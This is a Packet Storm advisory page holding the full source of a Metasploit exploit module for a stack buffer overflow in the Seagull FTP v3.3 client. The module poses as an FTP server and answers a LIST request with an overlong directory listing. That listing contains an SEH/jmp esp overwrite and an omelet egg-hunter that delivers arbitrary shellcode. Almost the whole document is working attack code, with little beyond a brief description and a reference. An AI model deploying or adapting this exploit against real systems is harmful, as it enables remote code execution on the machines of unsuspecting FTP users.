Seagull FTP v3.3 build 409 Stack Buffer Overflow

2010-10-13T00:00:00
ID PACKETSTORM:94664
Type packetstorm
Reporter corelanc0d3r
Modified 2010-10-13T00:00:00

Description

                                        
                                            `##  
# $Id: seagull_list_reply.rb 10661 2010-10-12 18:40:13Z jduck $  
##  
  
##  
# This file is part of the Metasploit Framework and may be subject to  
# redistribution and commercial restrictions. Please see the Metasploit  
# Framework web site for more information on licensing and terms of use.  
# http://metasploit.com/framework/  
##  
  
class Metasploit3 < Msf::Exploit::Remote  
  
include Msf::Exploit::Remote::FtpServer  
include Msf::Exploit::Omelet  
  
def initialize(info = {})  
super(update_info(info,  
'Name' => 'Seagull FTP v3.3 build 409 Stack Buffer Overflow',  
'Description' => %q{  
This module exploits a buffer overflow in the Seagull FTP client that gets  
triggered when the ftp clients processes a response to a LIST command. If the  
response contains an overly long file/folder name, a buffer overflow occurs,  
overwriting a structured exception handler.  
},  
'Author' =>  
[  
'corelanc0d3r' # found bug, wrote the exploit  
],  
'License' => MSF_LICENSE,  
'Version' => "$Revision: 10661 $",  
'References' =>  
[  
[ 'URL', 'http://www.corelan.be:8800/index.php/2010/10/12/death-of-an-ftp-client/' ],  
],  
'DefaultOptions' =>  
{  
'EXITFUNC' => 'thread',  
},  
'Payload' =>  
{  
'BadChars' => '\x00',  
'StackAdjustment' => -1500,  
'DisableNops' => 'True',  
},  
'Platform' => 'win',  
'Targets' =>  
[  
[ 'XP Universal', { 'Offset' => 232, 'Ret' => 0x7CE4650C } ], # jmp esp shell32.dll  
],  
'Privileged' => false,  
'DisclosureDate' => 'Oct 12 2010',  
'DefaultTarget' => 0))  
end  
  
#---------------------------------------------------------------------------------  
  
def setup  
super  
end  
  
def on_client_unknown_command(c,cmd,arg)  
c.put("200 OK\r\n")  
end  
  
def on_client_command_list(c,arg)  
print_status("Handling LIST command")  
conn = establish_data_connection(c)  
if(not conn)  
c.put("425 Can't build data connection\r\n")  
return  
end  
print_status(" - Data connection set up")  
code = 150  
c.put("#{code} Here comes the directory listing.\r\n")  
code = 226  
c.put("#{code} Directory send ok.\r\n")  
  
crash = "A" * target['Offset']  
crash << [target.ret].pack('V')  
  
#corelanc0d3r's omelet mixin  
thepayload = ("\x90" * 30) + payload.encoded  
  
omeletoptions =  
{  
:eggsize => 123,  
:eggtag => "00w",  
:searchforward => true,  
:reset => false,  
:checksum => true  
}  
badchars = '\x00'  
omelet = generate_omelet(thepayload,badchars,omeletoptions)  
  
omeletcode = omelet[0]  
print_status("[+] Omelet code : #{omeletcode.length} bytes")  
print_status("[+] Number of eggs : #{omelet[1].length}")  
print_status("[+] Sending payload")  
crash << ("\x90" * 30) + omeletcode  
  
print_status(" - Sending directory list via data connection")  
dirlist = ""  
  
omelet[1].each do |thischunk|  
print_status(" [+] Planted egg of #{thischunk.length} bytes")  
dirlist << "drwxrwxrwx 1 100 0 11111 Jun 11 21:10 #{thischunk}\r\n"  
end  
dirlist << "drwxrwxrwx 1 100 0 11111 Jun 11 21:10 #{crash}\r\n"  
conn.put("total #{omelet[1].length+1}\r\n"+dirlist)  
conn.close  
print_status(" - Wait for omelet hunter...")  
return  
end  
  
end  
`